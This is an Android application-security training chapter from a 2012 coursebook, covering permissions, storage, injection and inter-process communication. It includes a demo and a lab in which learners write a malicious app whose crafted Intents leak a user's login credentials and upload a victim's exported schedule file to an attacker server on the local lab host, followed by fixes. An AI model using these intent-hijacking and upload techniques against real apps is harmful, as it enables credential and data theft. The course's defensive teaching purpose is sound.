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OBJECTIVES 

After completing “Application Security,” you will be able to: 

 Describe the permissions-based security model for Android 
applications, including its strengths and weaknesses. 

 Minimize your need for local storage, and choose wisely 
between available storage models. 

  Take appropriate precautions with inter-process 
communications, especially when declaring non-
MAIN/LAUNCHER intent filters for your activities, services, 
and broadcast receivers. 
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Permissions 

 Various elements of the Android manifest file have impacts on 
application security, more and less obvious. 

 On the more obvious side are permissions, which must be 
requested by and granted to an application to do certain things. 

 The application requests permissions by declaring its 
requirements in the manifest file with <uses-permission>. 

 The user grants permissions at the time of installation: the 
installer enumerates the permissions the application requires, and 
the user accepts this in order to proceed with installation. 

 This is not entirely satisfying: it’s an all-or-nothing process, and 
users are not always attentive to it. So often applications are 
installed with permissions that, if well informed and alert, the user 
might not prefer that they had. 

 Standard permissions include the following: 

 Any use of the Internet 

 Use of external storage to save and load files, read media, etc. 

 Performing audio or video recording 

 Reading the device location 

 Permissions are broadly classified by danger level: 

 Normal permissions are granted to requesting applications by 
default – although the user can review them at installation time 
and still can opt out on that basis. 

 Dangerous permissions are shown to the user at installation time, 
for the user’s review, and must be explicitly granted/accepted. 
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Custom Permissions 

 Applications may define their own permissions as well. 

 A permission is identified by a simple string, though this is 
usually qualified by Android’s own prefix, an application’s 
package name, or some other self-partitioning token. 

 Define a custom permission for any purpose that suits you: 
  <permission  
    android:name="com.me.permission.CHANGE_STUFF" 
    android:label="@string/change_stuff" 
    android:description="@string/change_stuff_desc" 
    android:permissionGroup= 
      "android.permission-group.PERSONAL_INFO" 
    android:protectionLevel="signature"  
  /> 
 

 The permissionGroup is optional and helps organize the 
permission as presented in the installer’s user interface. 

 The protectionLevel can be “normal”, “dangerous”, “signature” 
or “systemSignature”. 

 The signature values cause the permission to be granted implicitly 
to an application digitally signed with the same certificate as the 
declaring application – or with the same certificate as the 
operating system in the case of “systemSignature”. 

 As with all permissions, remember: ultimately, it’s up to the user! 

 Then you can check for a given permission programmatically, 
as when one application invokes another through an Intent. 

 More on this as we get into IPC security. 
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Security Configuration 

 There are a few additional elements of application 
configuration that are less well-understood, or that have more 
subtle security implications. 

 As we’ll see later in this chapter, the act of defining an intent 
filter is also one of opening a doorway into your application. 

 By doing so you export the activity or service that defines the filter 
for invocation from outside the application package. 

 This is not necessarily a bad thing, but it should not be done 
lightly, nor without consideration as to what a malicious 
application might do using the exported activity or service. 

 We’ll dig into a handful of possible practices in a moment. 

 An application must declare its reliance on any APIs not 
guaranteed to be in the operating system, with <uses-
library>. 

 You may be limiting the functionality of your application to a 
subset of available devices. 

 Also note that it’s not impossible for a library to be present, but 
not the implementation you expected. 

 It might even be malicious code, although generally for that to be 
the case the device would have to have been rooted. 

 Remember that you can bring JARs with you, and this can be a 
more reliable and secure practice. 
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Storage Models 

 It’s important to understand the implications of the many 
store-and-retrieve strategies available to Android applications. 

 An application has the capability to read and to write 
information in the following forms: 

 Internal file storage 

 External file storage 

 SQLite databases 

 User preferences 

 It is also possible to use standard Java APIs to read, write, and 
delete files anywhere on the local file system. 

 This is subject to file-system permissions though, and on most 
devices these permissions will not give the application much 
latitude. 

 Beware especially that the SDK emulator will give you full access to 
everything. It’s easy to overreach when testing on the emulator, 
only to find out that your code breaks on real devices. 
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Internal Storage 

 Use the Context class to find your way to internal storage 
locations allocated just for your application. 

File data =  
  new File (context.getFilesDir (), "myStuff.dat"); 
FileInputStream in = new FileInputStream (data); 
 

 These files wind up in a subdirectory files of a directory named 
for the application package. 

 They are available only to your application, with read and write 
bits for the user and no permissions for group or world. 

 Each application gets its own user ID – or, to be precise, each 
app package does. 

 Though uncommon, it is legal in Android to have multiple 
applications share a package specifier, and such applications would 
get a shared internal storage space. 

 This is generally safe from “app injection” because the app package 
is part of the digital signature process on an APK, and an Android 
device will refuse to install two applications to the same package if 
not signed with the same certificate. 
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Internal Storage 

 It is also possible to create internal files with “world-readable” 
or “world-writeable” permissions. 

FileOutputStream out = context.openFileOutput  
  ("publicStuff.dat", Context.MODE_WORLD_READABLE); 
 

 Understand that such files are not protected. 

 They are stored in a different place from so-called external 
storage (the SD card), but are just as public. 

 Two other types of storage that look different in their API usage 
really boil down to internal storage (non-world-accessible) for 
security purposes: 

 User preferences: these land in a subdirectory shared_prefs 

 SQLite databases: these appear in a subdirectory databases 

 All internal storage is deleted when an application is un-
installed. 

 The whole package directory, and all subdirectories and files, are 
removed. 

 There is no recycle bin or after-image; they’re really gone. 

 If the operating system supports it and the user enables it, all 
internally-stored data will benefit from whole-disk encryption. 

 In this case, if the user loses control of the device, but the device is 
locked, the files are still safe. 

 A password-based key makes the encryption reasonably difficult to 
crack, even given time. 

 Again, this feature is available starting with Android 3.0. 
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USB, Bluetooth, WiFi, and External Media 

 Use the Context to get various possible roots on external 
storage, when available. 

File root = context.getExternalFilesDir (null); 
File photos = context.getExternalFilesDir 
  (Environment.DIREDCTORY_PICTURES); 
 

 None of these directories are protected in any way. 

 They are available to file-browsing apps, and to other applications 
using java.io classes more directly, as in 

File sdcard = new File ("/mnt/sdcard"); 
File yourFile = new File  
  (sdcard, "Android/com.you/yourStuff.dat"); 
 

 Files placed in media directories will be picked up by built-in 
media scanners. 

 Everything will be available to USB-connected master devices, 
such as personal computers, with all permissions open. 

 USB connectivity is a concern of its own, actually. 

 It can be an external source of file content, any of which might be 
loaded by the user, perhaps using your application. 

 Be especially careful then how you process files loaded from 
external storage: bogus inputs, viruses, trojans, etc., are all possible 
and this is one of the primary points of entry. 

 We could say the same ominous things about Bluetooth and 
WiFi connections to home and office networks. 

 Ultimately the point is to be wary of external files. 



Android Security  Chapter 2 

© 2012 Will Provost. 
All rights reserved by Capstone Courseware, LLC. 

10

Tools 

 For our classroom work with Android development we rely on 
the following tools: 

 A Java Developer’s Kit, edition 7 

 The Android SDK, version 2.0 

 The Eclipse IDE for Java EE developers, version 4 a/k/a Juno 

 Supporting tools, many used only for specific examples, are: 

 The Ant build utility, version 1.8 

 The Jersey implementation of JAX-RS 1.1, to support backing web 
services for some applications 

 The Tomcat web server, version 7.0, to host those services 

 The Derby RDBMS, version 10.8, and the EclipseLink 
implementation of JPA 2.0, to back our primary case-study 
application with relational data 

 Incidental dependencies including JSTL 1.2 

 We assume that your machine has been set up according to 
instructions provided before the class, which include setting up 
the Android SDK and Eclipse plugins. 

 If you find that these pieces are missing – now or as you get into 
the upcoming example – refer to the classroom setup 
document: 

http://capcourse.com/256_Setup_42.html 
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Environment 

 A few environment variables must be set cleanly to support 
building and testing. 

 A prepared script will set these all in a bunch – in the Admin 
directory, see SetEnvironment.bat. 

 Look at this carefully now and change any values that are not 
correct for your system. 

set CC_MODULE=%~dp0.. 
set JAVA_HOME=c:\Java7 
set ANDROID_HOME=c:\AndroidSDK2.0 
PATH="%JAVA_HOME%\bin"; 
  "%CC_MODULE%\..\Tools\Ant1.8\bin"; 
  "%ANDROID_HOME%\tools"; 
  "%ANDROID_HOME%\platform-tools"; 
  c:\Windows\System32; 
  %~dp0 
 

 The most common tweaks here are for JAVA_HOME and 
ANDROID_HOME. 

 When all is correct, open a command console, move to Admin 
as your working directory, and run SetEnvironment. 

 We will mostly work in Eclipse, but it will be useful to have this 
console handy and set correctly. 

 Later for example we’ll use it to run the Android debug bridge. 

 We’ll occasionally use it to move files between the development 
machine and the emulator or test device. 
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Environment 

 We also rely on an RDBMS and a web server for some of our 
exercises. 

 The RDBMS is Derby, version 10.8. Start this now, with the 
following command: 

StartDerby 
 

 You can stop the server any time with the following command, 
though generally you won’t need to do so until the end of the class: 

StopDerby 
 

 The web server is Tomcat, version 7.0. 

 Run the following script to put needed JARs into Tomcat’s server 
class path – and this will be needed as part of the server runtime 
for Eclipse projects, as well: 

SetupTomcat 
 

 Then, if you are going to build and deploy from Eclipse, you will 
have a managed Tomcat instance in your workspace, so you don’t 
need to do anything further. 

 If working from the command line, start Tomcat now, with the 
following command: 

StartTomcat 
 

 You can shut down anytime with the following: 
StopTomcat 
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Eclipse 

 Though it is possible to build and test the labs in this course 
from the command line, it is rarely worth the trouble to do so 
as the SDK’s support for IDEs is excellent. 

 Start the Eclipse IDE now. 

 It is best to launch it from the command line, with the above 
environment set: that way, when you run scripts that are included 
in some of the projects, the Android tools that they call will be in 
the executable path. 

 For a workspace location enter: 
c:\Capstone\AndroidSecurity\Eclipse 
 

 You’ll see a tree of working sets and projects in the Project 
Explorer. 

 There is one project for each example, demonstration, and lab 
exercise mentioned in this coursebook. 

 The book refers to projects by their file paths, relative to 
c:/Capstone/AndroidSecurity – so for example 
Examples/Scribble/Step3, Demos/IPC, or Labs/Lab2. 

 The corresponding Eclipse project names will use underscores 
instead of slashes: Excamples_Scribble_Step3, Demos_IPC, 
Labs_Lab2. 

 All projects start out closed and need to be opened in order to 
work with them. 

 Build automatically is set, so it’s good to keep the number of 
open projects to a minimum. 
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Eclipse 

 If you have installed your Android SDK to a location other than 
c:\AndroidSDK2.0, you will have to adjust this value. 

 Choose Window | Preferences and select the Android group. 

 Edit the value labeled SDK Location appropriately. 

 Click Apply and see your installed SDK targets (platforms) – 
remember that your list may look a bit different: 

 

 Click OK. 
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Eclipse 

 Unless you are continuing to this course from one of our other 
Android courses, you will need to create an AVD now to 
support testing of your applications. 

 Choose Window | Android Virtual Device Manager from the 
top-level menu, and click New ... 

 Enter “Phone_Large” for the AVD name, and configure as follows:  
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A Linux Perspective 

 The application in Examples/Scribble/Step1 gives the user a 
touch-screen interface to drawing diagrams and sketches. 

 It can save and load files in a proprietary (JSON-based) format: 

 Using internal storage 

 Using external storage 

 In a SQLite database 

 To a cloud storage service 

 We’ll experiment with its cloud connectivity a bit later. 

 For now, try building and running the application:  

 Launch your emulator from the AVD manager. 

 Open the project, right-click, and choose Run As | Android 
Application. 

EXAMPLE
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A Linux Perspective 

 You’ll see the blank canvas of the Scribble application, and a 
toolbar button that allows you to change the color, weight, 
shape, and fill values for drawing: 

 

 You can use the mouse to simulate user touches on the device 
screen, and make whatever simple drawing you like – as above ... 

EXAMPLE
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A Linux Perspective 

 Now, choose from the options menu of the application and save 
the drawing to internal storage: 

 In this emulator the Save option slips to the overflow menu. 

 Use the menu key in the emulator or hit F2. 

 Then, click Save, Internal, and type to make choices and enter 
“MyWord” as the filename: 

 
 

 

 

 Do the same thing again, except to external storage. 

 Then a third time, now saving to a local SQLite database. 

EXAMPLE
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A Linux Perspective 

 Finally, just to get a look at preference storage, choose 
Settings from the options menu, and change the timeout 
value. 

 In this configuration the Settings option is shown on the action 
bar, with the standard wrench icon. 

  

   

 Close the preferences screen. 

 Close the application, returning to the home screen. 

 Note that, if you installed this application over the Scribble 
application as deployed from an earlier course, you actually will 
want to adjust the web-service URL, as it’s different now: 

http://10.0.2.2:8080/Examples_Lockbox_Service 
 

 Now, with the emulator still running, launch the Android 
debug bridge and get an SSH connection to the virtual device: 

adb shell 
# 
 

EXAMPLE
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A Linux Perspective 

 We can navigate the device’s file system and see what was saved 
where, as shown below: 

#cd data/data/cc.draw.android 
 

 Here is the internal storage root for the application 
#ls 
cache 
databases 
files 
lib 
shared_prefs 
 

 Files created via the internal-storage API will be found in the files 
subdirectory: 

#cd files 
#ls –l 
-rw------- app_38   app_38        162  
  2012-11-09 17:37 MyWord 
#cd .. 
 

 So we see the “600” permissions we would expect, with the 
application itself as the file owner. 

 Databases are just SQLite database files in a separate directory: 
#cd databases 
#ls -l 
-rw-rw---- app_38   app_38       4096  
  2012-11-09 17:37 Drawings.db 
#cd .. 

EXAMPLE
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A Linux Perspective 

 User preferences are stored here as well: 
#cd shared_prefs 
#ls -l 
-rw-rw---- app_38   app_38        178  
  2012-11-09 17:41 cc.draw.android_preferences.xml 
#cd .. 
 

 External storage is modeled in a separate directory, with 
application-specific areas in an area of their own: 

#cd /mnt/sdcard 
#ls 
LOST.DIR 
Android 
download 
DCIM 
 
#cd Android/data/cc.draw.android/files 
#ls -l 
----rwxr-x system   sdcard_rw      162  
  2012-11-09 17:37 MyWord 
 

 As we see, the owner has no privileges, and a special group 
sdcard_rw has full access; the world can read or execute. 

 Close the shell now ... 
#exit 
 

 ... and you can leave the emulator running. 

EXAMPLE
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Injection Vulnerabilities 

 As mentioned in the previous chapter, use of SQLite databases 
in Android applications is potentially vulnerable to injection – 
as any use of SQL is vulnerable. 

 The countermeasure is the same as it is in other systems, too: 
pre-compile all statements that include dynamic values, and 
then supply those values as arguments to statement 
parameters. 

 The Android API for SQL is not JDBC, but a package of classes 
meant just for SQLite. 

 It is possible to run complete SQL statements – with or without 
parameters – but also common to use a limited query-building API 
based on table name, columns, filter clause, ordering columns, etc. 

 So, one example of bad practice: 
Cursor cursor = DB.query (MY_TABLE, MY_COLUMNS, 
  "ID = " + ID, null, null, null, null, null); 
 

 Good practice for the same query: 
String[] args = { ID }; 
Cursor cursor = DB.query (MY_TABLE, MY_COLUMNS, 
  "ID = ?", args, null, null, null, null); 
 

 Script injection – something like cross-site scripting, but in this 
case more of a direct injection attack – can be perpetrated 
against applications that use WebView, if they build any 
HTML content dynamically. 

 They key countermeasure is to HTML-escape dynamic values 
when generating HTML, to avoid producing active scripts. 
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Inter-Process Communication 

 It’s important to understand the implications of making 
activities,  services, and broadcast receivers available via intent 
filters – and the differences between various manifest-file 
declarations. 

 Possible intent targets are: 

 Activities 

 Started services 

 Bound services 

 Broadcast receivers 

 Any target can be invoked by explicit intent – that is, by 
identifying the application package and target class. 

 To invoke via implicit intent, the target must declare an intent 
filter, with matching criteria including action, category, data 
URI, and MIME data type. 

 To invoke a target from outside the application, it must be 
exported – and the generally understood correlation between 
explicit/implicit and non-exported/exported only occurs by 
default. 

 That is, you can export a target that has no intent filter by setting 
android:exported to true – where otherwise it is not available to 
code outside the process. 

 More importantly, you can choose not to export a target, even 
though you have defined an intent filter, by setting 
android:exported to false. 



Android Security  Chapter 2 

© 2012 Will Provost. 
All rights reserved by Capstone Courseware, LLC. 

24

Guarding IPC Entrances 

 So, the first order of business is to make informed choices 
about who should be able to invoke your activities, services, 
and broadcast receivers. 

 Is an intent filter meant for intent resolution from within the 
application? Then set android:exported to false. 

 Is it meant for invocation only by other applications deployed by 
your organization? Then use a custom permission that should 
only be granted to those friendly applications. 

 Is it really meant for the whole world to use – for instance when 
you want one of your data types to be browsable? Then ... well, 
then be very careful about what you do based on that intent! Start 
by validating inputs and being sure about the legitimacy of the 
request. 

 For bound services only, it’s also reasonable to consider an API 
token or sequence token, to further guarantee that you’re 
having a conversation with a legitimate caller, and that no one 
is inserting themselves into that conversation. 

 When validating inputs, be sure to consider all input types. For 
intents this includes ... 

 The data URI – are you being directed somewhere unsafe? 

 The data type – does the data that you find actually fit the 
description? 

 Intent extras – validate these as you would input via a web form, 
REST API call, or any other un-trusted source. 
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A Cloud Storage Service 

 To support the upcoming demonstration, we’ll get a web 
application running that acts as a web-based storage service. 

 It offers a crude user interface for browsers. 

 It offers a RESTful API for applications, which will provide some 
exercise in client-side HTTP security in the following chapter. 

 First, from Examples/Lockbox/JPA – and with the Derby 
server process started as described earlier – run the following 
command to create a database of users and client applications:  

ant create-DB 
create-DB: 
  [echo] Creating database ... 
   [sql] Executing resource: c:\Capstone 
      \AndroidSecurity\Examples\Lockbox\JPA 
      \data\create_db.sql 
   [sql] 14 of 14 SQL statements  
      executed successfully 
 

 Then, either from the command line or using Eclipse, build the 
project Examples_Lockbox_JPA. 

 Then, build Examples_Lockbox_Service. 

 If using Ant, this will deploy to the server, and you can test in a 
local browser as described on the following page. 

 From Eclipse, you will then Run As | Run on Server, which will 
deploy the application and open an internal browser window. 

 We recommend Eclipse for this whole demonstration, because 
there are several pre-defined URLs on the client side that will have 
to be adjusted for the Ant-deployed service location. 

EXAMPLE
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A Cloud Storage Service 

 The root URL for the application is rigged to provide an HTML 
list of links to files for a particular user, once the user logs in. 

http://localhost:8080/Examples_Lockbox_Service 
 

 

 Add a /User to the request URL to see files for a given user. You’ll 
be challenged to log in: 

 

EXAMPLE
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A Cloud Storage Service 

 Log in as burgess/CAVEman, and see the list of files stored for 
this user: 

 

 Click one of the links and see a JSON representation of a Scribble 
drawing object. Browsers will handle the Scribble MIME type 
differently, but here is the body of the HTTP response when you 
click that link: 

HTTP/1.1 200 OK 
Content-Type: application/cc.draw-scribble 
 
[{"weight":"MEDIUM","color":-2131755008, 
"fill":true,"y1":48,"y2":288,"shape":"OVAL", 
"x2":360,"x1":120},{"weight":"MEDIUM", 
"color":-2139095040,"fill":false,"y1":48,"y2":288, 
"shape":"OVAL","x2":360,"x1":120}, 
... 
{"weight":"MEDIUM","color":-2147483520, 
"fill":false,"y1":156,"y2":396,"shape":"OVAL", 
"x2":297.64617919921875,"x1":57.64616394042969}] 

EXAMPLE
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A Browsable Data Type 

 Now, we’ll look at an example of a vulnerable implicit intent, 
and clean up the issue. 

 Do your work in Demos/IPC. 

 The completed demo is in  Examples/Scribble/Step2. 

 The Scribble application exposes its drawing data model as a 
browsable data type. 

 It also has a client relationship with the Lockbox service, and 
will load from and save to the service on the user’s behalf 

 In order to do this is must participate in HTTP BASIC 
authentication. 

 In our example, there is a hard-coded username and password. 

 A real-world application would have to make the user log in at 
startup; store the username and password locally; or save transient 
or surrogate credentials such as a service-issued ID/secret token 
pair, as we’ll explore in the following chapter. 

 None of this would have any bearing on the exploit we’re about to 
see, however, so we keep it simple. 

DEMO
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A Browsable Data Type 

 See AndroidManifest.xml, where several intent filters are 
defined for the ScribbleActivity. 

 One is just the usual MAIN/LAUNCHER filter, so that the 
application can be started by the user. 

 The second one allows the application to be invoked by another 
application, for example a file browser, passing a file URI and 
assigning it our content type. This certainly is an area of some 
concern, but not the one we’ll exploit in this demo. 

 The third filter makes the data type browsable, so that a URL of the 
appropriate content type could be activated from the local 
browser: 

<intent-filter> 
  <action  
    android:name="android.intent.action.EDIT" /> 
  <action  
    android:name="android.intent.action.VIEW" /> 
  <category  
    android:name="android.intent.category.DEFAULT" 
  /> 
  <category  
    android:name="android.intent.category.BROWSABLE" 
  /> 
  <data  
    android:mimeType="application/cc.draw-scribble" 
    android:scheme="http"  
  /> 
</intent-filter> 

DEMO
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A Browsable Data Type 

1. In the running emulator (and with the Scribble application installed 
as per the prior example of internal and external storage), open the 
browser, and visit the following URL: 

http://10.0.2.2:8080/Examples_Lockbox_Service/User 
 

 The emulator uses a special address for the host environment, 
since the usual loopback address or “localhost” would refer to the 
mobile device itself. 

 You will have to login here, as well: 

  

 The browser may show the page at a very small scale initially; try a 
double-tap to zoom in a bit, and then you may need to drag the 
page to see the text in the upper-left corner again. 

DEMO
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A Browsable Data Type 

2. Choose one of the filenames, and see that, thanks to the intent filter 
registered by Scribble, the application is invoked with the URL and 
MIME type, and takes responsibility for making the HTTP request 
and downloading the drawing: 

  

3. Close the application, and close the browser. 

4. Now we’re going to take unfair advantage of Scribble’s readiness to 
load a drawing from just anywhere. First, build and deploy the project 
Examples_Snoopy. 

 This is a malicious web service that is looking to receive personal 
data with the help of a mobile application called Snoop. 

DEMO
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A Browsable Data Type 

5. Now build and run Examples_Snoop_Step1 as an Android 
application. This application currently does two things, and will be 
developed to do a third in a later lab: 

 It tries to read the files that we created in our earlier example, as a 
test of the safety of each of those files. 

 On a button click, it activates a malicious intent that sends a URL 
to the Scribble application, trying to get it to send a request to 
Snoopy. 

 Later, it will activate a malicious intent aimed at another 
application. 

6. You may want to review the code for the hack we’re about to attempt. 
See src/cc/snoop/Snoop.java: 

  public void hackScribble (View source) 
  { 
    Intent malicious =  
      new Intent (Intent.ACTION_VIEW); 
    malicious.setDataAndType (Uri.parse  
      ("http://10.0.2.2:8080" +  
          "/Examples_Snoopy/YourDrawing"), 
        "application/cc.draw-scribble"); 
     
    startActivity (malicious); 
  } 
 

DEMO
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A Browsable Data Type 

7. See immediately that, as we expected, this separate application can 
see that all the files we created earlier exist, but it can only read one of 
them. Now, click the Want to see a picture? button ... 

  

 Oh, nice – a colorful drawing. That’s cute. 

8. Take a look at the server console or log file, though, and see that 
Snoopy has found out something very interesting: 

Looking for credentials ... a-HA: 
  Username: burgess 
  Password: CAVEman 

DEMO
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A Browsable Data Type 

 Let’s reconstruct what just happened: 

 

 Snoop sent a URL to Scribble, by way of an Intent with the 
appropriate content type. 

 Scribble requested the drawing. 

Scribble 

Lockbox Browser 

Authorization: Basic 
    YnVyZ2VzczpDQVZFbWFu 

Authorization: Basic 
    YnVyZ2VzczpDQVZFbWFu 

Snoop Snoopy 

DEMO
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A Browsable Data Type 

 But the left hand didn’t know what the right hand was doing. 

 The code to download the drawing was written originally to 
support a menu-driven process to load from the cloud service. It 
automatically writes the HTTP Authorization header into the 
request – and unlike a browser or any proper user agent, it does 
not limit this behavior to a specific domain! 

 The intent filter was meant for more general purposes – and 
nobody stopped to think what might get sent out along with an 
HTTP request to anywhere ... 

 So the request was to this URL: 
http://10.0.2.2/Examples_Snoopy/YourDrawing 
 

 And Scribble included this header along with it: 
Authorization: Basic YnVyZ2VzczpDQVZFbWFu 

DEMO
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A Browsable Data Type 

9. Though both “hands” might be culpable here, there is one best 
practice that was clearly not followed. Let’s limit the transmission of 
the user’s credentials to the Lockbox service. Open 
src/cc/draw/android/Communicator.java. 

10. Find the addAuthHeader method, and add the lines highlighted 
below: 

  private void addAuthHeader (HttpRequest request) 
  { 
    String URI =  
      request.getRequestLine ().getUri (); 
    if (URI.startsWith (getServiceURL ())) 
      request.setHeader ("Authorization",  
       "Basic " + Utility.encode  
        ((USERNAME + ":" + PASSWORD).getBytes ())); 
  } 
 
11. If you re-install Scribble (just run it again, is the easiest thing), and 

then try the hack from Snoop again, you’ll see that Scribble still gets 
the dummy drawing, but now doesn’t send the user’s credentials. 

 All Snoopy can say is ... 
Looking for credentials ... alas: nothing to phish. 
 
 

 We could also limit the range of URLs we are willing to load, by 
adding a host attribute to the intent filter’s data criterion. 

 Whether this is the right fix is really a business question: do we 
want to allow Scribble to open on any well-formatted resource, or 
just be directed from one or more well-known servers? 

DEMO
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Custom Permissions 

Suggested time: 30 minutes 

In this lab you will experiment with another IPC vulnerability, this 
time in the Insurance application. With other, friendly applications 
in mind, Insurance makes an activity available that guides the user 
to export his or her schedule of appointments. But (a) this file 
contains some moderately sensitive data, including personal 
contacts, and (b) other applications might reasonably trigger this 
activity and gull the user into thinking it were for a different 
purpose – saving their data from the attacking application for 
example. The attacker can then glean the filename, read the 
external file, and upload it to a malicious web server. 

You will develop the hack itself, in the Snoop application, and then 
guard against it with a custom permission defined in Insurance. 

Detailed instructions are found at the end of the chapter. 

LAB 2
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Services and Broadcast Receivers 

 Android services should be considered to be at least as 
vulnerable as activities. 

 They have the same potential for export – and in the case of bound 
services they are intended for export. 

 They are often more easy to manipulate, by design, as they expose 
APIs of their own. 

 And they do not show user interfaces, so they can be invoked 
silently, whereas most activities would be obvious to the user and 
their sudden appearance would probably be surprising. 

 Broadcast receivers can be registered either statically, through 
intent filters, or dynamically through the API. 

 Of course the primary concern is awareness of who might be 
sending notifications. 

 If you are only interested in system broadcasts, it’s a good idea to 
register dynamically, and with the LocalBroadcastManager. This 
cuts out any possibility of inter-process communication. 

 To receive custom notifications you may prefer an intent filter, and 
in this case you have the usual options (exported, permission). 

 Also consider the possibility when sending notifications that 
more applications may be registered to receive them than you 
had planned. 

 This is possible with custom actions, too. 

 In Android 4.x, you can qualify the receiver(s) by package before 
calling sendBroadcast. 
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Logging 

 Treat the Android system log as public, and don’t write 
anything to it that you wouldn’t want to be seen. 

 The log itself is private, but a command logcat can be run by 
anyone with shell access to the device. 

 For example, with USB debugging enabled, a user or hacker can 
run the following command: 

adb shell logcat > CopyOfTheLogFile.txt 
 

 As in many styles of software development, there’s a big 
difference between the mentality of development time and 
release time in this regard. 

 When building we rely heavily on the log (and the LogCat view in 
Eclipse) to debug our software, and there is a tendency to write lots 
of diagnostic information into it. 

 Once we’re publishing an application, we want output to be more 
controlled and terse. 

 So it’s important to 

 Be aware of the security implications of each of your logging 
statements. 

 Take a pass through your application pre-release, and comb out 
non-secure logging statements – i.e. don’t write sensitive data of 
any sort, or really anything that’s not necessary to later forensics if 
there were an unexpected problem with the deployed application. 
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SUMMARY 

 Android’s Linux basis gives application developers a good 
(and merited) sense of security against outside forces. 

 But Android is relatively susceptible to malware, and we 
have seen that there are some apertures through which a 
malicious application might attempt access to our running 
code: 

 External storage (or non-protected internal storage) 

 Inter-process communication via malicious Intents 

 For each of these there are clear best practices and counter-
measures. 
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Custom Permissions 

In this lab you will experiment with another IPC vulnerability, this time in the Insurance 
application. With other, friendly applications in mind, Insurance makes an activity 
available that guides the user to export his or her schedule of appointments. But (a) this 
file contains some moderately sensitive data, including personal contacts, and (b) other 
applications might reasonably trigger this activity and gull the user into thinking it were 
for a different purpose – saving their data from the attacking application for example. The 
attacker can then glean the filename, read the external file, and upload it to a malicious 
web server. 

You will develop the hack itself, in the Snoop application, and then guard against it with a 
custom permission defined in Insurance. 

Lab workspace: Labs/Lab2 

Supporting projects: Examples/Snoopy (attacking server) 

Backup of starter code: Examples/Snoop/Step1 (attacking application) 
Examples/Insurance/Step1 (target application) 

Answer folder(s): Examples/Snoop/Step2 
Examples/Insurance/Step2 

Files: Snoop/src/cc/snoop/Snoop.java 
Insurance/AndroidManifest.xml 

LAB 2
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Custom Permissions LAB 2 

Instructions: 

1. If you have a version of the Insurance application on your emulator, uninstall it now, 
so that we have a clean slate for various data files and preferences. 

2. Run the lab Insurance project as an Android application. It will fail the first time. 

 
It is meant to download a schedule from a remote server, but thanks to new security 
requirements on that server the application is not yet able to make a connection. It 
can fall back to a previously-downloaded local copy – but on first install that won’t be 
in place yet. Hit the back button or ESC to close the application for the moment. 

3. With the Android emulator running, run a prepared script that will put necessary 
internal data files into place: 

SetUp 
 

Again: for this and other scripts to work, you must run Eclipse from the environment 
set by running the SetEnvironment script; or otherwise you must assure that the 
Android SDK’s platform-tools directory is in the executable path when Eclipse is run. 
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Custom Permissions LAB 2 

4. Run the application again – you can now start it from the emulator’s launcher app, 
where you’ll see it listed as “Capstone Insurance.” This time you’ll see the user’s 
schedule of appointments (in her role as a car-insurance claims adjuster): 

 
You can drill through the functions of the application if you like – this is the main 
case study from our Android course and it is fairly dense – but the feature we’ll 
exploit is available from the home screen 
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Custom Permissions LAB 2 

5. Choose the Export item from the options menu – in the large-phone emulator this is 
found at the far right of the action bar, with a floppy-disk icon – and see a new 
activity appear that lets you browse the SD card: 

    
6. Choose New File from this activity’s options, and create a file called schedule, as 

shown above. 

7. Select this file – long-press it or click and choose Open from the action bar. You’ll see 
a toast notification, “Exported file.” 

8. Close the application. A copy of the local schedule has been made at the following 
location – you can run adb shell to confirm this, if you like: 

/mnt/sdcard/schedule 
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Custom Permissions LAB 2 

9. Review AndroidManifest.xml in the Insurance project, and see that the export 
activity is also made available for implicit intents. The idea is that other applications 
provided by this application vendor could coordinate with it: perhaps import/export 
schedule data to a pure calendar application. 

    <activity  
      android:name=".ExportActivity" 
    > 
      <intent-filter> 
        <action android:name="cc.action.EXPORT" /> 
        <category android:name="android.intent.category.DEFAULT" /> 
      </intent-filter> 
    </activity> 
 
10. If you didn’t work through the demo preceding this lab exercise, build 

Examples_Snoopy and run it on the server. 

11. Open Snoop.java from the lab Snoop project, and find the almost-empty method 
hackInsurance. So far it just creates a directory tree on the SD card; this will be the 
landing spot for an exported Insurance schedule, if all goes well. 

12. To the existing code, add code as follows to create a (literally) malicious Intent that 
will invoke the Insurance export feature – passing our prepared directory as the root 
for browsing and a custom title for the browser window that appears. 

    public void hackInsurance (View source) 
    { 
        new File (OUR_ROOT_PARENT).mkdir (); 
        new File (OUR_ROOT).mkdir (); 
         
        Intent malicious = new Intent ("cc.action.EXPORT"); 
        malicious.putExtra ("ROOT_PATH", OUR_ROOT); 
        malicious.putExtra ("ROOT_ALIAS", "Our Safe Area"); 
         
        startActivityForResult (malicious, 1); 
    } 
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13. The activity will return the full path to the exported file as an extra to the returned 
Intent. Create a method onActivityResult to resume work when the activity is 
completed: 

    @Override 
    public void onActivityResult  
        (int requestCode, int resultCode, Intent intent) 
    { 
        if (intent == null) 
            return; // oh, well 
         
        String path = intent.getStringExtra ("SELECTED_PATH"); 
        upload (new File (path)); 
        Toast.makeText  
            (this, "Saved your work -- everything's just fine ...",  
                Toast.LENGTH_LONG).show (); 
 
    } 
 

This gleans the exported path, if available, and calls a prepared helper method upload. 
You may want to review this method: it sends an HTTP PUT to the Snoopy 
application, with the full contents of the file as the HTTP entity. 
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14. Run the Snoop application on the emulator, and click the Want to save your work? 
button. Imagine that you are the user of an apparently benign personal-productivity 
application – a note-taking app, to-do list, something like that – and you’ve just 
chosen from that application’s menu to Save or maybe Save As. You see a file-
browsing screen and are able from the options menu to save to a new file ... 

  
Enter “MyData” as the filename and click OK. You do see a toast notification that 
might make you wonder ... but then you see another, more reassuring one! 

 ...  

Otherwise, all seems well. But, in the web-server console you see: 
Ah! Fresh data for my war-dialers! 
[{"id":1,"address":"39 Fairway 
Drive","when":1349703000000,"state":"NH", 
... 
{"firstName":"Mara","id":3,"lastName":"Reese","employeeID":170056}}] 
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So ... what to do about this? We’ve said that first we have to decide how available we 
really want our activity to be. The Scribble application for example really does want to 
be widely available – browsable is about as available as it gets – and so it’s security 
stance is essentially to take all comers but to be careful about how it processes 
incoming intents. 

Our profile is different. We don’t want the whole world to be able to do something 
like what the Snoop application just did. The export function may be useful, so we 
can’t just shut down external access, but it shouldn’t be that easy for any other 
application to direct. 

15. First, just as an experiment, refuse to export the activity. That is, even though it offers 
an intent filter, make it available only to callers within the process: 

    <activity  
      android:name=".ExportActivity" 
      android:exported="false" 
    > 
      <intent-filter> 
        <action android:name="cc.action.EXPORT" /> 
        <category android:name="android.intent.category.DEFAULT" /> 
      </intent-filter> 
    </activity> 
 
16. Save the file, clean and rebuild the application, and run it on the emulator. 

